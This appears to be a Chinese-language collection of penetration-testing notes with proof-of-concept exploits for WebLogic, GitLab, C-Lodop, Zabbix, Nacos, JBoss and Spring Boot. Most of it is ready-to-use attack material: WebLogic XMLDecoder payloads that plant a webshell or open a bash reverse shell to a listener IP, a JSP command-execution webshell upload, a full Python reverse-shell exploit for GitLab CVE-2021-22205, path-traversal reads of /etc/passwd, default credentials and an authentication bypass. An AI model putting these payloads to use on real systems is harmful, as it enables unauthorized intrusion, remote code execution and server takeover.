weblogic
cve-2020-14750 Weblogic认证绕过
漏洞描述:
远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console
poc1:
http://xx.xx.xx.xx:7001/console/css/%252e%252e%252fconsole.portalpoc2:
http://xx.xx.xx.xx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=DomainConfigGeneralPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
漏洞修复:
升级补丁至最新版本
Weblogic SSRF 漏洞(CVE-2014-4210)
漏洞描述:
访问下列url,绕过登陆
http://xx.xx.xx.xx:7001/uddiexplorer/SearchPublicRegistries.jsp点击search按钮抓包
修改operator参数的值,改为dnslog的地址
接收到回显,漏洞存在
CVE-2017-3506 Weblogic反序列化
影响:
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0
漏洞利用
wls-wsat组件远程命令执行
如果访问/wls-wsat/CoordinatorPortType11目录,存在下图则说明或许存在漏洞 /wls-wsat/CoordinatorPortType /wls-wsat/CoordinatorPortType11

验证漏洞是否存在
java -jar cve-2017-3506_webshell.jar
上传木马,这里shell.jsp只是名字,不是文件,填写名字就行了
端口后面有空格
java -jar .\cve-2017-3506_webshell.jar -s http://10.110.80.170:7001 /wls-wsat/CoordinatorPortType11 shell.jsp访问
http://10.110.80.170:7001/wls-wsat/shell.jsp?password=secfree&command=whoami

CVE-2017-10271 XML Decoder反序列化
版本
10.3.6.0
12.1.3.0.0
12.2.1.1.0
漏洞地址
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11检测漏洞
漏洞利用
访问页面,抓包

POC
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println">
<string>
    <![CDATA[
<% out.print("webshell"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
访问地址: ip/bea_wls_internal/test.jsp 测试有结果,存在此漏洞。
反弹shell
GET改POST
POC,全部复制,改HOST和监听IP端口就行了
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.31.173/7089 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

CVE-2019-2618任意文件上传
1> 漏洞前提是需要先知道weblogic的账号密码。(安装时设置的账户和密码为weblogic/12345.com)
2> 漏洞验证
构造的POST包如下所示:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.37.136:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
serverName: weblogic
password: 12345.com
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1083
 
 
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell1.jsp"
Content-Type: false
 
 <%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML> 
 
------WebKitFormBoundary7MA4YWxkTrZu0gW--3> 发送数据包 ,返回了上传文件的地址;
4> 去访问发现执行成功;
漏洞修复
Oracle官方已经在关键补丁更新中修复了该漏洞。
C-Lodop
任意文件读取
windows
../../../../../../../../../../windows/win.inilinux
../../../../../../../../../../etc/passwd直接访问路径

gitlab
用户信息遍历
接口地址如下,拼接访问即可
/api/v4/users/1
未授权RCE(CVE-2021-22205)
exp
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
from bs4 import BeautifulSoup
class Exploit():
    __info__ = {
        'name': 'CVE-2021-22205',
        'desription': 'gitlab 未授权远程命令执行',
        'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205'],
        'devices': ['gitlab',
                    '11.9=< version <13.8.8',
                    '13.9=< version <13.9.6',
                    '13.10=< version <13.10.3'
        ],
    }
    target = "192.168.236.130"
    port = 8888
    reverseShell = "echo '/bin/bash -i >& /dev/tcp/{}/{} 0>&1' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && /bin/bash /tmp/shell.sh"
    def exploit(self):
        session = requests.Session()
        requests.packages.urllib3.disable_warnings()
        url = "http://{}:{}".format(self.target, self.port)
        try:
            r = session.get(url.strip("/") + "/users/sign_in", verify=False)
            soup = BeautifulSoup(r.text, features="lxml")
            token = soup.findAll('meta')[16].get("content")
            data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{" + self.reverseShell + "} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
            headers = {
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
                "Connection": "close",
                "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
                "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
            flag = 'Failed to process image'
            req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
            x = req.text
            if flag in x:
                return "success!!!"
            else:
                print("[-] Vuln Check Failed... ...")
                return 'failed'
        except Exception as error:
            print(error.with_traceback())
            print("[-] Vuln Check Failed... ...")
            return 'failed'
    def run(self):
        res = self.exploit()
        return res
if __name__ == '__main__':
    exploit = Exploit()
    '''
    在GitLab CE/EE中发现一个问题,从11.9开始影响所有版本。
    GitLab没有正确地验证传递给文件解析器的图像文件,导致远程命令执行
    此脚本利用此漏洞进行反弹shell, 测试前请配置好下面的 listenIp 和 listenPort 参数
    '''
    exploit.target= "xx.xx.xx.xx"
    exploit.port = 80
    listenIp = "xx.xx.xx.xx"
    listenPort = "9999"
    exploit.reverseShell = exploit.reverseShell.format(listenIp,listenPort)
    result = exploit.run()
    print(result)python运行上面的脚本,另开一个终端,nc监听接收回弹shell
zabbix
zabbix弱口令
Admin zabbixzabbix后台任意命令执行
管理-脚本-创建脚本

监测-问题-点击ip

执行命令成功
SAML身份绕过漏洞 CVE-2022-23131
漏洞描述
Zabbix 是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。它与 Pandora FMS 和 Nagios 等解决方案非常相似。由于其受欢迎程度、功能和在大多数公司网络中的特权地位,Zabbix 是威胁参与者的高调目标。一家公共漏洞经纪人,一家专门从事安全漏洞获取的公司,也公开宣布了他们对该软件的兴趣。
我们在 Zabbix 的客户端会话实现中发现了一个严重漏洞,该漏洞可能导致整个网络遭到破坏。在本文中,我们介绍了不同类型的会话存储,并讨论了实现安全的原因。然后,我们描述了我们在 Zabbix 中发现的漏洞的技术细节、其影响以及如何预防。让我们深入了解它!
漏洞影响
Zabbix
网络测绘
app="ZABBIX-监控系统" && body="saml"
漏洞复现
登录页面
通过POC获取 zbx_session
替换后点击 SAML登录

nacos
CVE-2021-29442
拼接路劲并访问,可构造数据库查询语句,查询到的内容直接回显前端页面
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st 返回以下数据即利用成功
Nacos默认口令

nacos  nacos权限绕过
通过以下接口查看用户列表
/nacos/v1/auth/users/?pageNo=1&pageSize=999
添加用户
/nacos/v1/auth/users
修改为POST请求
usename=test&password=test
修改U-A头:Nacos-Server创建成功,然后就可以使用该账号登陆了
jboss
JBoss 4.x JBossMQ JMS 反序列化漏洞 CVE-2017-7504
漏洞描述
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响版本
JBoss AS 4.x及之前版本
环境搭建
https://github.com/vulhub/vulhub.git
cd vulhub/jboss/CVE-2017-7504
docker-compose build
docker-compose up -d漏洞复现
访问控制台
使用工具 Jexboss (https://github.com/joaomatosf/jexboss)进行漏洞扫描
python3 jexboss.py -host http://192.168.51.133:8080

成功利用漏洞执行命令
springboot
SpEL表达式注入漏洞复现与原理分析
这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名。
影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0
修复方案:升级版本
环境搭建
下载链接:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
用idea打开之后配置一下,如下图:
环境搭建
下载链接:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
用idea打开之后配置一下,如下图:
然后启动访问出现如下页面,代表搭建成功。

漏洞复现
访问:http://localhost:9091/article?id=9∗9,可以发现{9*9}的SpEL表达式进行了解析,随后将该表达式的运行的结果进行了返回,如下图。
现在尝试弹出计算器,访问:http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
成功弹出,如下图:

        
评论